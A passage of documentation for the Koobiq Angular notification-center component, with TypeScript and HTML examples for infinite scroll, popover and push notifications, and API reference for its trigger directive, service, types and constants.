    /** Used to demonstrate the bottom error state once, then succeed on retry. */
    private hasFailedOnce = false;

    protected readonly actions = computed<ExampleAction[]>(() => [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Filled,
            text: this.text().primaryAction
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-ellipsis-horizontal_16'
        }
    ]);

    protected items = NavbarIcItems;
    protected selected: NavbarIcItems = NavbarIcItems.Assets;

    constructor() {
        // Initial page loads immediately; subsequent pages are appended on scroll.
        this.appendPage(this.currentPage + 1);

        this.notificationService.onNextPage
            .pipe(takeUntilDestroyed())
            .subscribe(() => this.appendPage(this.currentPage + 1));

        // The loaded notifications follow a locale switch; their ids are their positions in the list.
        effect(() => {
            const text = this.text();
            const items = this.notificationService.items;

            if (!items.length) return;

            this.notificationService.items = items.map((item) => ({ ...item, ...itemText(text, Number(item.id)) }));
        });
    }

    private appendPage(page: number): void {
        if (this.notificationService.loadingMore() || !this.notificationService.hasMore()) {
            return;
        }

        this.notificationService.setLoadMoreErrorMode(false);
        this.notificationService.setLoadingMore(true);

        // Replace with a real paginated request in production.
        timer(LOAD_DELAY)
            .pipe(takeUntilDestroyed(this.destroyRef))
            .subscribe(() => {
                // Fail once on page 3 to showcase the bottom "load more" error + retry.
                if (page === 3 && !this.hasFailedOnce) {
                    this.hasFailedOnce = true;

                    this.notificationService.setLoadingMore(false);
                    this.notificationService.setLoadMoreErrorMode(true);

                    return;
                }

                this.currentPage = page;
                this.notificationService.items = [...this.notificationService.items, ...this.createPage(page)];
                this.notificationService.setHasMore(page < TOTAL_PAGES);
                this.notificationService.setLoadingMore(false);
            });
    }

    private createPage(page: number): KbqNotificationItem[] {
        const text = this.text();

        return Array.from({ length: PAGE_SIZE }, (_, index) => {
            const globalIndex = (page - 1) * PAGE_SIZE + index;

            return {
                id: String(globalIndex + 1),
                ...itemText(text, globalIndex + 1),
                icon: true,
                style: STYLES[globalIndex % STYLES.length],
                date: new Date(BASE_DATE - globalIndex * 3600_000).toISOString()
            };
        });
    }

    protected readonly srcSet = computed(() => {
        const currentTheme = this.currentTheme();

        return `https://koobiq.io/assets/images/${currentTheme}/empty_192.webp 1x, https://koobiq.io/assets/images/${currentTheme}/empty_192@2x.webp 2x`;
    });

    private readonly themeService = inject(KbqThemeService, { optional: true });
    protected readonly currentTheme = computed(() => this.themeService?.colorScheme() ?? 'light');

    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );
}
```

```html notification-center-infinite-scroll-example.html
<kbq-dropdown #issuesDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.open }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.inProgress }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.complete }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.closed }}</a>
</kbq-dropdown>

<kbq-dropdown #securityDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.identity }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.membersAndGuests }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.dataRetention }}</a>
</kbq-dropdown>

<div class="layout-row" style="margin: -20px; height: 498px">
    <kbq-vertical-navbar>
        <kbq-navbar-container>
            <kbq-navbar-item bento>
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Assets"
                (click)="selected = items.Assets"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().assets }}</div>
            </a>

            <kbq-navbar-item
                #issuesDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Issues"
                [kbqDropdownTriggerFor]="issuesDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().issues }}</div>
            </kbq-navbar-item>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Incidents"
                (click)="selected = items.Incidents"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().incidents }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Policies"
                (click)="selected = items.Policies"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().policies }}</div>
            </a>

            <kbq-navbar-item
                #securityDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Security"
                [kbqDropdownTriggerFor]="securityDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().security }}</div>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <div
                #trigger="kbqNotificationCenterTrigger"
                kbq-navbar-item
                kbqNotificationCenterTrigger
                [popoverHeight]="'500px'"
                [scrolledToBottomOffset]="100"
                [kbqNotificationCenterPanelClass]="'example-notification-center-panel'"
            >
                <i
                    kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                    color="contrast"
                ></i>
                <div kbq-navbar-title>{{ text().notifications }}</div>
                @if (trigger.unreadItemsCounter(); as unreadItems) {
                    <kbq-badge
                        [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'"
                        [compact]="true"
                    >
                        {{ unreadItems }}
                    </kbq-badge>
                }
            </div>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-circle_16" color="success"></i>
                <div kbq-navbar-title>{{ text().systemMonitor }}</div>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().administrator }}</span>
            </a>
        </kbq-navbar-container>

        <kbq-navbar-toggle />
    </kbq-vertical-navbar>

    <div class="layout-fill">
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="kbq-truncate-line" kbqTopBarTitle>{{ text().pageTitle }}</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer [placement]="'end'">
                @for (action of actions(); track action.id) {
                    <button kbq-button [kbqStyle]="action.style" [color]="action.color">
                        @if (action.icon) {
                            <i kbq-icon="" [class]="action.icon"></i>
                        }
                        @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                            {{ action.text }}
                        }
                    </button>
                }
            </div>
        </kbq-top-bar>

        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-icon>
                <img
                    src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                    height="80"
                    width="80"
                    [alt]="text().emptyState.image"
                    [srcset]="srcSet()"
                />
            </div>
            <div kbq-empty-state-title>{{ text().emptyState.title }}</div>
            <div kbq-empty-state-text>{{ text().emptyState.text }}</div>
        </kbq-empty-state>
    </div>
</div>
```

#### Deletion

Notifications can be removed one by one, by date group, or all at once. Subscribe to `KbqNotificationCenterService.onDelete` to react to a removal — for example, to delete the items on the server. The event fires for all three cases and carries `type` (`'item'`, `'group'` or `'all'`) and `items` — the notifications that were removed. Removing a notification that is not in the list is a no-op and emits nothing, so a stale reference cannot trigger a phantom deletion on the server.

#### Dropdown window

The notification center can be opened in a popover. For example, when placed in a horizontal menu.

**Example: notification-center-popover** (`notification-center-popover`)

```ts notification-center-popover-example.ts
import { ChangeDetectionStrategy, Component, effect, inject, TemplateRef, viewChild } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqFormattersModule } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqNotificationCenterModule, KbqNotificationCenterService } from '@koobiq/components/notification-center';
import { createNotifications, injectExampleText } from '../localized-data';

@Component({
    selector: 'notification-center-popover-example',
    imports: [
        KbqNotificationCenterModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqNavbarModule,
        KbqLink,
        LuxonDateModule,
        KbqFormattersModule
    ],
    templateUrl: 'notification-center-popover-example.html',
    styles: `
        :host {
            display: block;
            min-height: 480px;
        }
    `,
    providers: [
        { provide: KbqNotificationCenterService, useClass: KbqNotificationCenterService }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterPopoverExample {
    notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly actionsTemplate = viewChild<TemplateRef<unknown>>('actionsTemplate');

    constructor() {
        // Rebuilt on a locale switch to follow the language; the stable ids keep the read state.
        effect(() => {
            const actions = this.actionsTemplate();

            if (!actions) return;

            this.notificationService.items = createNotifications(
                this.text(),
                { actions },
                this.notificationService.items
            );
        });
    }
}
```

```html notification-center-popover-example.html
<ng-template #actionsTemplate>
    <a kbqLink pseudo>{{ text().action1 }}</a>
    <a kbqLink pseudo>{{ text().action2 }}</a>
</ng-template>

<kbq-navbar style="border-top-left-radius: 12px; border-top-right-radius: 12px">
    <kbq-navbar-container>
        <kbq-navbar-item bento>
            <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
        </kbq-navbar-item>

        <a href="#" kbq-navbar-brand>
            <kbq-navbar-logo>
                <!-- prettier-ignore -->
                <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
            </kbq-navbar-logo>
            <kbq-navbar-title>{{ text().popoverAppName }}</kbq-navbar-title>
        </a>

        <button kbq-navbar-item class="kbq-active">
            <i kbq-icon="kbq-dashboard_16" color="contrast"></i>
        </button>

        <kbq-navbar-item>
            <kbq-navbar-title>{{ text().issues }}</kbq-navbar-title>
        </kbq-navbar-item>

        <kbq-navbar-item>
            <kbq-navbar-title>{{ text().projects }}</kbq-navbar-title>
        </kbq-navbar-item>
    </kbq-navbar-container>

    <kbq-navbar-container>
        <kbq-navbar-item
            #trigger="kbqNotificationCenterTrigger"
            kbqNotificationCenterTrigger
            [popoverMode]="true"
            [popoverHeight]="'430px'"
        >
            <i
                kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                color="contrast"
            ></i>
            @if (trigger.unreadItemsCounter(); as unreadItems) {
                <kbq-badge [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'" [compact]="true">
                    {{ unreadItems }}
                </kbq-badge>
            }
        </kbq-navbar-item>

        <kbq-navbar-item>
            <i kbq-icon="kbq-gear_16" color="contrast"></i>
        </kbq-navbar-item>

        <kbq-navbar-item>
            <i kbq-icon="kbq-user_16" color="contrast"></i>
        </kbq-navbar-item>
    </kbq-navbar-container>
</kbq-navbar>
```

### API

#### Directives

##### KbqNotificationCenterTrigger (directive)

```ts
@Directive({
    selector: '[kbqNotificationCenterTrigger]',
    exportAs: 'kbqNotificationCenterTrigger'
})
class KbqNotificationCenterTrigger extends KbqPopUpTrigger<KbqNotificationCenterComponent> {
    readonly backdropClass = input<string>(
        'cdk-overlay-transparent-backdrop'
    );
    readonly panelClass = input<string>('', {
        alias: 'kbqNotificationCenterPanelClass'
    });
    readonly offset = input<number>(defaultOffsetX);
    readonly scrolledToBottomOffset = input<number>(0);
    popoverMode = input<boolean | undefined>();
    popoverHeight = input<string | undefined>();
    disabled = input<boolean | undefined>();
    stickToWindow = input<KbqStickToWindowPlacementValues | undefined>();
    container = input<HTMLElement | undefined>();
    get unreadItemsCounter(): Signal<string>;
    placement: KbqPopUpPlacementValues;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    arrowCentered: boolean;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[backdropClass]`: `string` — Class that will be used in the background
- `[kbqNotificationCenterPanelClass]`: `string` — Class that will be used in the panel
- `[offset]`: `number` — Offset of popUp
- `[scrolledToBottomOffset]`: `number` — Distance in pixels from the bottom of the list at which the next page is requested via `onNextPage`.
- `[popoverMode]`: `boolean | undefined` — Use popover or not
- `[popoverHeight]`: `string | undefined` — Set height of popover. Default is `calc(100vh - <navbar height>)`.
- `[disabled]`: `boolean | undefined` — Whether the trigger is disabled.
- `[stickToWindow]`: `KbqStickToWindowPlacementValues | undefined` — Additionally positions the element relative to the window side (Top, Right, Bottom and Left).
  If container is specified, the positioning will be relative to it.
- `[container]`: `HTMLElement | undefined` — Container for additional positioning, used with stickToWindow
- `unreadItemsCounter`: `Signal<string>` — Number of unread notifications, formatted for the trigger badge.
- `placement`: `KbqPopUpPlacementValues` — Placement of popUp
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Emits a change event whenever the placement state changes.
- `visibleChange`: `EventEmitter<boolean>` — Emits a change event whenever the visible state changes.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

#### Services

##### KbqNotificationCenterService (service)

State and commands of the notification center: the list itself, its modes, and the removal events.

```ts
@Injectable({ providedIn: 'root' })
class KbqNotificationCenterService {
    readonly loadingMore: Signal<boolean>;
    readonly loadMoreErrorMode: Signal<boolean>;
    readonly hasMore: Signal<boolean>;
    readonly onRead: BehaviorSubject<KbqNotificationItem | null>;
    readonly onReload: Subject<void>;
    readonly onNextPage: Subject<void>;
    readonly onDelete: Subject<KbqNotificationDeleteEvent>;
    readonly changes: Observable<void>;
    readonly unreadItemsCounter: Signal<string>;
    items: KbqNotificationItem[];
    get isEmpty(): boolean;
    setSilentMode(value: boolean): void;
    setLoadingMode(value: boolean): void;
    setErrorMode(value: boolean): void;
    setLoadingMore(value: boolean): void;
    setLoadMoreErrorMode(value: boolean): void;
    setHasMore(value: boolean): void;
    push(item: KbqNotificationItem): void;
    hideToast(item: KbqNotificationItem): void;
    remove(removedItem: KbqNotificationItem): void;
    removeGroup(group: KbqNotificationsGroup): void;
    removeAll(): void;
}
```

- `loadingMore`: `Signal<boolean>` — Whether the bottom "load more" spinner is shown while the next page is being loaded.
  Note: this is the infinite-scroll indicator and is distinct from `loadingMode`,
  which renders the full-screen loader instead of the list. Set it with `setLoadingMore()`.
- `loadMoreErrorMode`: `Signal<boolean>` — Whether the bottom "load more" error row (with a retry button) is shown.
  Distinct from `errorMode`, which replaces the whole list with the full-screen error state.
  Set it with `setLoadMoreErrorMode()`.
- `hasMore`: `Signal<boolean>` — Whether there are more notifications to load. While `true`, scrolling to the bottom
  emits `onNextPage`; set it to `false` with `setHasMore()` to stop further infinite-scroll requests.
- `onRead`: `BehaviorSubject<KbqNotificationItem | null>` — Emits a notification the moment it flips from unread to read.
- `onReload`: `Subject<void>` — Triggers an event when the user presses the reload button.
- `onNextPage`: `Subject<void>` — Triggers an event when the list is scrolled to the bottom and the next page should be loaded.
- `onDelete`: `Subject<KbqNotificationDeleteEvent>` — Triggers an event when an item, a group, or all notifications are removed.
- `changes`: `Observable<void>` — Emits whenever any part of the center's state changes. Carries no payload — it is a ping — and
  emits nothing on subscription.
- `unreadItemsCounter`: `Signal<string>` — Number of unread notifications, formatted for the trigger badge: empty while nothing is unread,
  and `"99+"` above `maxUnreadItemsLength`.
- `items`: `KbqNotificationItem[]` — The notifications, as a snapshot: reading them does not make an `effect()` or a `computed()` depend on the
  list, so an effect can read and reassign it. Follow `changes` to react to updates.
- `isEmpty`: `boolean` — Whether there are no notifications. A snapshot, like `items`.
- `setSilentMode()`: `void` — Set silent mode
- `setLoadingMode()`: `void` — Set loading mode
- `setErrorMode()`: `void` — Set error mode
- `setLoadingMore()`: `void` — Set the bottom "load more" spinner visibility.
- `setLoadMoreErrorMode()`: `void` — Set the bottom "load more" error state visibility.
- `setHasMore()`: `void` — Set whether there are more notifications to load via infinite scroll.
- `push()`: `void` — Adds a notification to the list and, unless silent mode is on, shows it as a toast.
  Re-pushing the very same notification object is a no-op: a duplicate would show a second toast
  and produce a colliding list key. A different notification carrying an `id` the list already
  uses is added under a freshly generated one instead of being dropped.
- `hideToast()`: `void` — Hides the toast that corresponds to the given notification item.
- `remove()`: `void` — Removes a notification. Removing one that is not in the list is a no-op and emits nothing.
- `removeGroup()`: `void` — Removes a whole day group. Only the notifications that are actually in the list are removed and
  reported; a group holding none of them — a stale reference kept from an earlier `groupedItems`
  value — is a no-op and emits nothing.
- `removeAll()`: `void` — Removes every notification. Removing from an already empty list is a no-op and emits nothing.

#### Types

##### KbqNotificationCenterPanel (interface)

The panel members a rendered notification item depends on.

```ts
interface KbqNotificationCenterPanel {
    readonly localeConfiguration: Signal<KbqNotificationCenterLocaleConfiguration>;
    restoreFocusAfterRemove(): void;
}
```

- `localeConfiguration`: `Signal<KbqNotificationCenterLocaleConfiguration>` — Localized strings of the panel.
- `restoreFocusAfterRemove()`: `void` — Moves focus to a control that survives the removal, once the delete button has unmounted.

##### KbqNotificationDeleteEvent (type)

Payload emitted by `KbqNotificationCenterService.onDelete`.

```ts
type KbqNotificationDeleteEvent = {
    type: 'item' | 'group' | 'all';
    items: KbqNotificationItem[];
};
```

- `type`: `'item' | 'group' | 'all'` — What was removed: a single item, a whole date group, or all notifications.
- `items`: `KbqNotificationItem[]` — The notification items that were removed.

##### KbqNotificationItem (interface)

A single notification rendered by the notification center.

```ts
interface KbqNotificationItem {
    id?: string;
    toastId?: number;
    title?: string | TemplateRef<unknown>;
    style?: string | KbqToastStyle;
    icon?: boolean | TemplateRef<unknown>;
    iconClass?: string;
    caption?: string | TemplateRef<unknown>;
    content?: string | TemplateRef<unknown>;
    actions?: TemplateRef<unknown>;
    date: string;
    read?: boolean;
}
```

- `id?`: `string` — Identity of the notification, unique across the list — it is the list's track key and the key
  the toast is matched back by. Generated on ingestion when omitted, and replaced by a generated
  one when the supplied value is already taken by another notification.
- `toastId?`: `number` — Numeric id of the shown toast, set by `push()` and consumed by `hideToast()`.
- `title?`: `string | TemplateRef<unknown>` — Heading of the notification.
- `style?`: `string | KbqToastStyle` — Visual style; also selects the built-in icon when `icon` is `true`.
- `icon?`: `boolean | TemplateRef<unknown>` — `true` renders the built-in icon for `style`; a template renders that template instead.
- `iconClass?`: `string` — Extra classes for the built-in icon.
- `caption?`: `string | TemplateRef<unknown>` — Secondary line below the title.
- `content?`: `string | TemplateRef<unknown>` — Body of the notification.
- `actions?`: `TemplateRef<unknown>` — Template with the notification's action controls.
- `date`: `string` — When the notification happened. Any value the configured `DateAdapter` parses without an explicit
  format — ISO 8601, RFC 2822 or SQL for the Luxon adapter. The value drives both the day group and
  the ordering; values the adapter cannot parse are shown verbatim in their own group instead of
  breaking the list.
- `read?`: `boolean` — Whether the user has already read the notification. Defaults to `false` on ingestion.

##### KbqNotificationsGroup (type)

Notifications that happened on the same day, as rendered by one sub-header of the panel.

```ts
type KbqNotificationsGroup = {
    id: string;
    title: string;
    items: KbqNotificationItem[];
};
```

- `id`: `string` — Stable identity of the day group; used as the list's track key.
- `title`: `string` — Localized day heading.
- `items`: `KbqNotificationItem[]` — Notifications of that day, newest first.

#### Constants

##### KBQ_NOTIFICATION_CENTER_CONFIGURATION (const)

Deprecated: Use `KBQ_NOTIFICATION_CENTER_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_NOTIFICATION_CENTER_CONFIGURATION: InjectionToken<KbqNotificationCenterLocaleConfiguration>;
```

##### KBQ_NOTIFICATION_CENTER_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_NOTIFICATION_CENTER_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_NOTIFICATION_CENTER_DEFAULT_CONFIGURATION: KbqNotificationCenterLocaleConfiguration;
```

##### KBQ_NOTIFICATION_CENTER_DEFAULT_LOCALE_CONFIGURATION (const)

Default configuration of notification-center.

```ts
const KBQ_NOTIFICATION_CENTER_DEFAULT_LOCALE_CONFIGURATION: KbqNotificationCenterLocaleConfiguration;
```

##### KBQ_NOTIFICATION_CENTER_LOCALE_CONFIGURATION (const)

Injection Token for providing configuration of notification-center.

```ts
const KBQ_NOTIFICATION_CENTER_LOCALE_CONFIGURATION: InjectionToken<KbqNotificationCenterLocaleConfiguration>;
```

##### KBQ_NOTIFICATION_CENTER_PANEL (const)

Narrow contract a `kbq-notification-item` consumes from the panel that renders it, instead of
injecting the panel component itself.

```ts
const KBQ_NOTIFICATION_CENTER_PANEL: InjectionToken<KbqNotificationCenterPanel>;
```

##### kbqNotificationCenterLocaleConfigurationProvider (const)

Utility provider for `KBQ_NOTIFICATION_CENTER_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the
rest keep following the active locale.

```ts
const kbqNotificationCenterLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqNotificationCenterLocaleConfiguration>
) => Provider;
```

##### maxUnreadItemsLength (const)

Number of unread notifications above which the trigger counter switches to `"99+"`.

```ts
const maxUnreadItemsLength: number;
```

### Examples

#### Using KbqNotificationCenterService

**Example: notification-center** (`notification-center-push`)

```ts notification-center-push-example.ts
import { ChangeDetectionStrategy, Component, effect, inject, TemplateRef, viewChild } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqNotificationCenterModule, KbqNotificationCenterService } from '@koobiq/components/notification-center';
import { KbqToastStyle } from '@koobiq/components/toast';
import { createNotifications, injectExampleText } from '../localized-data';

/** Id prefix of the notifications pushed with the button, so a locale switch can find them. */
const PUSHED_ID = 'pushed-';

let pushedCount = 0;

enum NavbarIcItems {
    Assets,
    Issues,
    Incidents,
    Policies,
    Security
}

@Component({
    selector: 'notification-center-push-example',
    imports: [
        KbqNotificationCenterModule,
        KbqNavbarModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqButtonModule,
        KbqDropdownModule,
        KbqLink,
        LuxonDateModule,
        KbqFormattersModule
    ],
    templateUrl: 'notification-center-push-example.html',
    styles: `
        ::ng-deep .example-notification-center-panel {
            margin-top: -139px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterPushExample {
    notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly actionsTemplate = viewChild<TemplateRef<unknown>>('actionsTemplate');
    private readonly captionTemplate = viewChild<TemplateRef<unknown>>('captionTemplate');

    protected items = NavbarIcItems;
    protected selected: NavbarIcItems = NavbarIcItems.Assets;

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;

    constructor() {
        // Rebuilt on a locale switch to follow the language: the stable ids keep the read state, and the
        // notifications pushed with the button stay in the list.
        effect(() => {
            const text = this.text();
            const actions = this.actionsTemplate();

            if (!actions) return;

            const current = this.notificationService.items;
            const pushed = current
                .filter(({ id }) => id?.startsWith(PUSHED_ID))
                .map((item) => ({ ...item, title: text.pushedTitle, caption: text.pushedCaption }));

            this.notificationService.items = [
                ...createNotifications(text, { actions, caption: this.captionTemplate() }, current),
                ...pushed
            ];
        });
    }

    pushNotification() {
        const text = this.text();

        this.notificationService.push({
            id: `${PUSHED_ID}${++pushedCount}`,
            title: text.pushedTitle,
            caption: text.pushedCaption,
            icon: true,
            style: KbqToastStyle.Success,
            date: new Date().toISOString()
        });
    }
}
```

```html notification-center-push-example.html
<kbq-dropdown #issuesDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.open }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.inProgress }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.complete }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.closed }}</a>
</kbq-dropdown>

<kbq-dropdown #securityDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.identity }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.membersAndGuests }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.dataRetention }}</a>
</kbq-dropdown>

<ng-template #captionTemplate>
    <span>
        {{ text().richCaption }}
        <a kbqLink href="">Server-CRIT-01</a>
    </span>
</ng-template>

<ng-template #actionsTemplate>
    <a kbqLink pseudo>{{ text().action1 }}</a>
    <a kbqLink pseudo>{{ text().action2 }}</a>
</ng-template>

<div class="layout-row" style="margin: -20px; height: 498px">
    <kbq-vertical-navbar>
        <kbq-navbar-container>
            <kbq-navbar-item bento>
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Assets"
                (click)="selected = items.Assets"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().assets }}</div>
            </a>

            <kbq-navbar-item
                #issuesDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Issues"
                [kbqDropdownTriggerFor]="issuesDropdown"
            >
